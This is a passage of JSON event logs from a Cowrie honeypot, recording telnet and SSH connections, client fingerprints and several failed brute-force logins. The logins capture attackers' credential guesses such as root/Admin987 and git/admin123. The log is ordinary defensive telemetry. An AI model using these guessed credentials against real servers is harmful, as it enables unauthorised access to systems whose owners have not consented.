{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40450,"dst_ip":"159.203.135.109","dst_port":23,"session":"25fea82bf9cc","protocol":"telnet","message":"New connection: 135.148.33.91:40450 (159.203.135.109:23) [session: 25fea82bf9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:09.990904Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:10.399703Z","src_ip":"185.158.22.150","session":"b6881e97c7ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.317503929138184,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:10.735516Z","src_ip":"135.148.33.91","session":"36a732ff5660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43756,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6da58695fd","protocol":"telnet","message":"New connection: 135.148.33.91:43756 (159.203.135.109:23) [session: dc6da58695fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:16.751679Z"}
{"eventid":"cowrie.session.closed","duration":33.30079650878906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:22.854380Z","src_ip":"135.148.33.91","session":"070cf21bea78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.99324440956116,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:33.024307Z","src_ip":"135.148.33.91","session":"e8a10ef2ec8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.27704429626465,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:35.832592Z","src_ip":"135.148.33.91","session":"774c4d38d763","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32992,"dst_ip":"159.203.135.109","dst_port":23,"session":"e13f685d30b4","protocol":"telnet","message":"New connection: 135.148.33.91:32992 (159.203.135.109:23) [session: e13f685d30b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:46.210727Z"}
{"eventid":"cowrie.session.closed","duration":36.23539352416992,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:46.226186Z","src_ip":"135.148.33.91","session":"25fea82bf9cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34338,"dst_ip":"159.203.135.109","dst_port":23,"session":"a405b5aa53e9","protocol":"telnet","message":"New connection: 135.148.33.91:34338 (159.203.135.109:23) [session: a405b5aa53e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:47.501947Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34486,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ab45f7e990","protocol":"telnet","message":"New connection: 135.148.33.91:34486 (159.203.135.109:23) [session: b4ab45f7e990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:48.734637Z"}
{"eventid":"cowrie.session.closed","duration":34.86276054382324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:51.614297Z","src_ip":"135.148.33.91","session":"dc6da58695fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60902,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b07da1a1fd","protocol":"ssh","message":"New connection: 161.248.189.72:60902 (10.17.0.5:22) [session: 10b07da1a1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:53.124648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:53.129238Z","src_ip":"161.248.189.72","session":"10b07da1a1fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:53.375324Z","src_ip":"161.248.189.72","session":"10b07da1a1fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Admin@123","message":"login attempt [deploy/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:54.392602Z","src_ip":"161.248.189.72","session":"10b07da1a1fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:55.641435Z","src_ip":"161.248.189.72","session":"10b07da1a1fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":30261,"dst_ip":"159.203.135.109","dst_port":22,"session":"980ed5cfbbfc","protocol":"ssh","message":"New connection: 185.158.22.150:30261 (159.203.135.109:22) [session: 980ed5cfbbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:57.278608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:57.285264Z","src_ip":"185.158.22.150","session":"980ed5cfbbfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:57.445202Z","src_ip":"185.158.22.150","session":"980ed5cfbbfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"admin123","message":"login attempt [git/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:58.105894Z","src_ip":"185.158.22.150","session":"980ed5cfbbfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:17:59.265935Z","src_ip":"185.158.22.150","session":"980ed5cfbbfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42306,"dst_ip":"159.203.135.109","dst_port":23,"session":"728c79b40e99","protocol":"telnet","message":"New connection: 135.148.33.91:42306 (159.203.135.109:23) [session: 728c79b40e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:01.152566Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46810,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d878752483","protocol":"telnet","message":"New connection: 135.148.33.91:46810 (159.203.135.109:23) [session: b3d878752483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:08.798093Z"}
{"eventid":"cowrie.session.closed","duration":34.38777732849121,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:20.598387Z","src_ip":"135.148.33.91","session":"e13f685d30b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68310832977295,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:21.184947Z","src_ip":"135.148.33.91","session":"a405b5aa53e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54660,"dst_ip":"159.203.135.109","dst_port":23,"session":"24fcce3a8d4b","protocol":"telnet","message":"New connection: 135.148.33.91:54660 (159.203.135.109:23) [session: 24fcce3a8d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:22.094872Z"}
{"eventid":"cowrie.session.closed","duration":33.819507122039795,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:22.553910Z","src_ip":"135.148.33.91","session":"b4ab45f7e990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59524,"dst_ip":"159.203.135.109","dst_port":23,"session":"86193f61286b","protocol":"telnet","message":"New connection: 135.148.33.91:59524 (159.203.135.109:23) [session: 86193f61286b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:30.322516Z"}
{"eventid":"cowrie.session.closed","duration":34.13624858856201,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:35.288668Z","src_ip":"135.148.33.91","session":"728c79b40e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34480,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e2c58f40de0","protocol":"telnet","message":"New connection: 135.148.33.91:34480 (159.203.135.109:23) [session: 4e2c58f40de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:36.001534Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37392,"dst_ip":"159.203.135.109","dst_port":23,"session":"d74ad9acc054","protocol":"telnet","message":"New connection: 135.148.33.91:37392 (159.203.135.109:23) [session: d74ad9acc054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:41.001554Z"}
{"eventid":"cowrie.session.closed","duration":32.85119986534119,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:41.649184Z","src_ip":"135.148.33.91","session":"b3d878752483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":18543,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f4c34bb4bd","protocol":"ssh","message":"New connection: 185.158.22.150:18543 (159.203.135.109:22) [session: 29f4c34bb4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:43.924987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:43.931043Z","src_ip":"185.158.22.150","session":"29f4c34bb4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:44.094950Z","src_ip":"185.158.22.150","session":"29f4c34bb4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"1qaz@WSX","message":"login attempt [odoo/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:44.776819Z","src_ip":"185.158.22.150","session":"29f4c34bb4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:45.943068Z","src_ip":"185.158.22.150","session":"29f4c34bb4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41310,"dst_ip":"159.203.135.109","dst_port":23,"session":"88610a84d6cc","protocol":"telnet","message":"New connection: 135.148.33.91:41310 (159.203.135.109:23) [session: 88610a84d6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:47.820400Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.153.180.9","src_port":42380,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ae5b19a3d3","protocol":"telnet","message":"New connection: 178.153.180.9:42380 (10.17.0.5:23) [session: 60ae5b19a3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:48.839923Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60976,"dst_ip":"10.17.0.5","dst_port":22,"session":"96638efc283f","protocol":"ssh","message":"New connection: 161.248.189.72:60976 (10.17.0.5:22) [session: 96638efc283f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:52.296437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:52.301155Z","src_ip":"161.248.189.72","session":"96638efc283f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:52.532936Z","src_ip":"161.248.189.72","session":"96638efc283f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin987","message":"login attempt [root/Admin987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:53.493410Z","src_ip":"161.248.189.72","session":"96638efc283f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:54.731693Z","src_ip":"161.248.189.72","session":"96638efc283f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.05995535850525,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:18:56.154712Z","src_ip":"135.148.33.91","session":"24fcce3a8d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.184025049209595,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:03.023815Z","src_ip":"178.153.180.9","session":"60ae5b19a3d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9927613735199,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:05.315107Z","src_ip":"135.148.33.91","session":"86193f61286b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.560760259628296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:09.562161Z","src_ip":"135.148.33.91","session":"4e2c58f40de0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.259267807006836,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:15.260691Z","src_ip":"135.148.33.91","session":"d74ad9acc054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57704,"dst_ip":"159.203.135.109","dst_port":23,"session":"d39208eaf8cb","protocol":"telnet","message":"New connection: 135.148.33.91:57704 (159.203.135.109:23) [session: d39208eaf8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:17.752091Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56978,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8c2d77bd6f0","protocol":"telnet","message":"New connection: 135.148.33.91:56978 (159.203.135.109:23) [session: d8c2d77bd6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:18.469221Z"}
{"eventid":"cowrie.session.closed","duration":33.71688747406006,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:21.537195Z","src_ip":"135.148.33.91","session":"88610a84d6cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":12901,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a65215c598","protocol":"ssh","message":"New connection: 185.158.22.150:12901 (159.203.135.109:22) [session: 84a65215c598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:32.596194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:32.601513Z","src_ip":"185.158.22.150","session":"84a65215c598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37944,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed740d5f152","protocol":"telnet","message":"New connection: 135.148.33.91:37944 (159.203.135.109:23) [session: fed740d5f152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:32.732303Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:32.764889Z","src_ip":"185.158.22.150","session":"84a65215c598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"useradmin","message":"login attempt [adminuser/useradmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:33.448572Z","src_ip":"185.158.22.150","session":"84a65215c598","protocol":"ssh"}
